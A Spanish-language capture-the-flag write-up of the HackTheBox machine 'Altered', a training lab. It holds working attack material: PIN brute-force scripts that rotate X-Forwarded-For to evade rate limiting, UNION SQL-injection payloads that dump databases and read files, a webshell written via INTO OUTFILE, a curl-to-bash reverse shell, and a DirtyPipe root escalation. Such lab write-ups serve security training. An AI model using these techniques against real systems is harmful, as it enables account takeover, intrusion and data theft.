Altered - HackTheBox
Comencé con un escaneo de Nmap
para identificar puertos abiertos.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:44:05 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.43s latency).
Not shown: 52831 filtered tcp ports (no-response), 12702 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Mar 31 23:46:22 2022 -- 1 IP address (1 host up) scanned in 137.22 seconds
Hice otro escaneo para detectar la versión de los puertos encontrados.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:47:11 2022 as: nmap -sCV -p22,80 -o services.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 23:47:22 2022 -- 1 IP address (1 host up) scanned in 11.36 seconds
Solamente tenía dos puertos abiertos, el 22
no me servía de momento, por lo que mire el servidor web.
Parece ser un login, probé credenciales por defecto, admin
admin
pero no hubo suerte, me reporto un botón de Forgot Password
.
El botón me redirigió a una página en la que se podía apreciar un tipo de panel en el que podía cambiar la contraseña de un usuario existente, probé con el usuario admin
.
Y sí, existía, pero no tenía el pin correspondiente para poder cambiar la contraseña, intente hacer fuerza bruta con wfuzz
para averiguar el pin, pero hubo un inconveniente, el pin se compone de 4 dígitos, por lo que cree un rango del 0 al 9999 e hice fuzzing al pin por POST añadiendo la cabecera Cookie
con mi Cookie
valga la redundancia, el problema residió a la hora de enviar las peticiones desde la misma IP
, este las bloquea.
Esto lo podía evitar enviando la cabecera ‘X-Forwarded-For
con un rango de IP’s diferentes, para ello cree un pequeño script en ‘bash’ que recorre un rango del 0 al 256 con un bucle anidado.
#!/bin/bash
for i in {0..256}; do
for j in {0..256}; do
echo "10.10.$i.$j"
done
done
Y exporte el output de este en un archivo de texto.
Hice fuzzing en la cabecera X-Forwarded-For
con el diccionario de IP's
y el servidor y ya no me bloqueaba, el pin era 9176
.
$ wfuzz -c --hc=404 -u http://10.10.11.159/api/resettoken -d 'name=admin&pin=FUZZ' -z range,0000-9999 -H 'Cookie: XSRF-TOKEN=eyJpdiI6ImMxd0YwdlMvTTY2RlBOMVFVUkJhUFE9PSIsInZhbHVlIjoiakxXaDMxT3dlRktNaXkreEdsaVRGd25QN3lwTjI0TjhLU0JmSUxJd0R5cG50TTFEbnJycm05SFR5eXFKNUdETDFJR0dwbHAyeUZkU0JQV3dqUUtoUmtLRENRMlhPdCtrNUlrcTdvVlE1ODUwZmhrMXAyOUx4ZVdKbDN1OVl0Q3ciLCJtYWMiOiIyNmZmOWQ2MDdlYjVlMzE3YzRhZTM4ZjdlODk4MTdjOTA1YjY1ZGYwYzNmNzlhZTdiOGM0NDJhMjdjOGI1YWFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlyeUNmS0xhRFpOMzhhcEFSV1lVdmc9PSIsInZhbHVlIjoidzJsWTVhWm4wd1pBcWFxVlFOKzN4MTNFM1pSUTJ6blRabVpPeWJVV29Zd1ZIMXJuWGw4cW41Q1o5K1BGNXFGQ2M4V1dmWDE0VlJESWNKT2JWNnBpU0RNeFRqT3YvcjNuRGxxNmdEVkhoOFpIQ2dBOUZzdWRuRzVqVGhwN0FtaGoiLCJtYWMiOiJiNTg0M2E0NzNhYTdjOTIyMGI0NThiM2Q4OTdmNjBmNGMwZTQxMGUzMGZkOWQ4NzM4NWY2NDMwOWZhNzJmZjUwIiwidGFnIjoiIn0%3D' -w ips -H 'X-Forwarded-For: FUZ2Z' -m zip -t 100 --hh=5644
De igual manera, esto se podía hacer con un script en Python 3.
#!/usr/bin/python3
from pwn import *
from sys import exit
from requests import post
import signal
from random import randrange
burp = {'http': 'http://127.0.0.1:8080'}
def def_handler(sig,frame):
print("Saliendo...")
exit(0)
signal.signal(signal.SIGINT, def_handler)
class BruteForce():
def __init__(self, main_url):
self.__url = main_url
def pin_code(self):
p1 = log.progress("Probando PIN")
p2 = log.progress("IP")
for pin in range(9999):
n1 = randrange(256)
n2 = randrange(256)
headers = {
'Cookie': 'XSRF-TOKEN=eyJpdiI6IlFoY3g0b2lTakNWMElZcGpuRnZjZHc9PSIsInZhbHVlIjoiQnUwZk9KS3JDQm5xZUNtamx3YVpSSm8yZVd0NTVQOUZOV3ZxMTFidStCbWJ4NXN4OS9GMXlSbnhEK0xNRWMwSzZTbnBMZVRVR3Vnb0dNUG5Zcm9ScmVTTks1ZTVYVXJWdVh2U05mZDZsQmJ4M3JROEc1Rm8vQlJNVURVTlFGMWgiLCJtYWMiOiI2N2IxNTEzM2Q2MTc1NzliNjU3ZWJmNzVkYjUwZmMyYWQzYzI5NjJiOGUxNmZkNDFkODlmOTJjOTgyYjVlMzMzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJOMXFhTnVpRHcvUHU1d3F2NmxDS3c9PSIsInZhbHVlIjoiaFJGVVhNcitUTTFCWFJ2c0FzYlFJQ3ZCR1pEQlM0eEhQSXo0TStjTkI2cEExVUNPcThCRWRWMWxEcnRaQTJFZjU3ak52ZWdQRTdsSzBpYkZhZ3lzY0VrbG5OZHNlUWtrSFU4eEM2bmI2eE94OWQydWpSd0poK3ZXcHpwNXR3ZWEiLCJtYWMiOiI0MWI2YmFhYzIyMjgyMWYxZDYzZjVhNGQzMDYxNjFiOWM1NzU0ZjEyZWRhOWFiZjFmMDg5OTEyM2E0YWQ0MzZiIiwidGFnIjoiIn0%3D',
'X-Forwarded-For': f'10.10.{n1}.{n2}'
}
data_post = {
'name': 'admin',
'pin': pin
}
p1.status(f"{pin}/9999")
p2.status(f"10.10.{n1}.{n2}")
r = post(self.__url+'/api/resettoken', data=data_post, headers=headers)
if len(r.text) != 5644:
p1.success(f"Valid -> {pin}")
break
brutepincode = BruteForce('http://10.10.11.159')
def main():
brutepincode.pin_code()
if __name__ == '__main__':
main()
El uso de este script no es muy factible por su velocidad, pero se pueden añadir hilos haciendo uso de la librería
concurrent.futures
para acelerar el proceso.
Ahora bien, tras introducir el pin correcto me redirigió a un panel en el que podía cambiar la contraseña del usuario admin
.
Le puse la contraseña uhc
e inicie sesión.
Esto es lo que se veía después del inicio de sesión.
Había una serie de usuarios con un botón llamativo, view
, inspeccione el usuario admin
y encontré una función interesante en el código JavaScript.
Esta enviaba una petición GET pasándole dos parámetros ‘id’ y ‘secret’, para ver esto de una mejor manera intercepté la petición con BurpSuite al darle al botón View
.
Ahí esta, me reportaba mi id
y mi secret
por GET, envíe la petición.
Nada interesante en la respuesta, probé a cambiar de método de GET a POST y el resultado fue diferente.
No aceptaba este método, pero algo que me llamo la atención es que la respuesta estaba en formato JSON, probé a parsear los datos en JSON enviando una petición GET.
Seguía con la misma respuesta, ¿pero qué pasaba si cambiaba el id
por otro?
La respuesta fue diferente, probé Type Juggling
en secret
asignando True y me reporto algo muy diferente.
Intente una inyección SQL en el parámetro id
pero al parecer no tenía pinta de ser vulnerable.
Probé a quitarle la camilla simple y tras múltiples intentos fallidos logré dar con una respuesta diferente, podría tener 3 columnas.
Para ello, cree un script en Python 3 para manejarme más cómodamente desde la terminal.
#!/usr/bin/python3
from pwn import *
import signal
from requests import get
from sys import exit
burp = {'http': 'http://127.0.0.1:8080'}
def def_handler(sig, frame):
print("Saliendo...")
exit(0)
signal.signal(signal.SIGINT, def_handler)
class InteractiveSQLi():
def __init__(self, main_url):
self.__url = main_url
def sqli(self):
while True:
query = input('::$ ')
headers = {
"Content-Type": "application/json",
"Cookie": "XSRF-TOKEN=eyJpdiI6IlFXVmNMS2dSdUpUcGRDZTFLRXBjK0E9PSIsInZhbHVlIjoiUHBXbko3OWpGdzdyOWFlWVJSclJnbzgrZlFxR0FhS1NWaDR5WmdudDBDMTBlRi91bVhIYkE1YzJXWTh5VmczUlRSTVR6dHRuUlpUa1JaN3ZJMjgwQ3pUd21uNnJadEFYS3oxYm5rQVZqdFVFRjc2c3JoRitxT3d0Y2p4TGVLSkUiLCJtYWMiOiJiYTdjZjJiZmViN2Q4NmE0OWJmMjIwNTA2Zjg4YjVmNDY3ZjMyMTNlOTUwN2U1N2NiYmVmZWZkOWNmZmZhMzY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdmM2RkeGlEVHBHano2RkRjTDZOUmc9PSIsInZhbHVlIjoiNlk5b2NnK2cvbGFFOG80RWpQcEFQckRrbU9kbjhWckREM2RRcjFwakR3VzNXeHk5dHc4UTFFbU0wZ0tRaGptL3JUeEpSUEZtZEJncXJObWRrQnBNTjE3dnRZaHgwbDI2YlNNL1c4RzB4SVpGNHZ0eWpjNjdRNncwWUJ0QnlvQnYiLCJtYWMiOiI3YjBmNjZjNzk0MjNhMDk2NjY5ZDBlMzIyYzJiOTNiMTg4NDA4ZWU2MjFjOTI1OWM5MGMwYzQ3Njk5ZWUzY2Y5IiwidGFnIjoiIn0%3D",
"X-Requested-With": "XMLHttpRequest"
}
data_json = {
"id": f"{query}",
"secret": True
}
r = get(self.__url+'/api/getprofile', json=data_json, headers=headers)
print('\n'+r.text+'\n')
sqlidebug = InteractiveSQLi('http://10.10.11.159')
def main():
sqlidebug.sqli()
if __name__ == '__main__':
main()
Sabiendo que podría estar tratándose de 3 columnas, inyecte 0 union select 1,2,3
y me reporto el 3 de vuelta, esto quería decir que podía inyectar queries en ese punto y este lo interpretaría.
Enumere todas las bases de datos disponibles con 0 union select 1,2,group_concat(schema_name) from information_schema.schemata;-- -
.
uhc
fue una DB que me llamo la atención, enumere las tablas de esta con 0 union select 1,2,group_concat(concat(table_name)) from information_schema.tables where table_name = 'uhc';-- -
.
La tabla users
tenía buena pinta, por lo que enumere sus columnas con 0 union select 1,2,group_concat(concat(column_name)) from information_schema.columns where table_schema = 'users';-- -
.
Ahí esta, name
y password
, esto es lo que tenían.
Parecían ser los hashes de los usuarios del panel web, estos no me servian, ya que tenía la contraseña del usuario admin
. Ahora bien, con la Inyección SQL podría visualizar archivos en la máquina usando load_file
.
Y funciono, una utilidad como into outfile
me permitiría subir archivos en el caso de que me dejara, pero no sabía la ruta en la que estaba corriendo el servidor web, tengo entendido que apache 2 corre en /var/www/html
, pero, ¿y nginx
?, hice una pequeña búsqueda y encontré lo siguiente.
Tras visualizar el archivo /etc/nginx/site-available/default
encontré una ruta potencial.
El servidor podría estar corriendo en /srv/altered/public
, entonces si la utilidad into outfile
está funcional podría subir un archivo a esta ruta y tener acceso desde la web, probé a subir un ‘test.txt’ con ‘test’ de contenido.
Y me dejo hacerlo.
Ahora simplemente subí una Webshell para ganar RCE.
Para ganar acceso, cree un archivo index.html
en mí máquina con el código del Shell inverso y compartí un servidor web por Python 3 alojando index.html
y me puse en escucha por nc
.
Hice un curl
a mi servidor desde la Webshell.
Lo interprete con bash
y gane acceso como www-data
.
Hice un tratamiento de la TTY y pude visualizar la flag del usuario.
ESCALADA DE PRIVILEGIOS
Enumere la versión del kernel.
Esta versión era vulnerable a CVE-2022-0847
, DirtyPipe, me podía aprovechar de esta vulnerabilidad para sobreescribir la x
del usuario root
en el /etc/passwd
por un hash y autenticarme posteriormente como el usuario root
.
Para ello, usé el siguiente exploit.
Abrí un servidor por Python 3 alojando el exploit y lo descargué desde la máquina víctima con wget
.
Lo compile con gcc
y lo ejecute.
El resultado no tenía muy buen aspecto, pero tras ver el /etc/passwd
verifique que si sobrescribió la x
.
Hice su root
, pero aun había un reto más.
Al parecer tenía que adivinar una palabra de 5 letras para poder introducir la contraseña de root
, tras múltiples intentos fallidos, adivine la palabra, fstat
, pude introducir la contraseña piped
y migrar a root
.
Leave a comment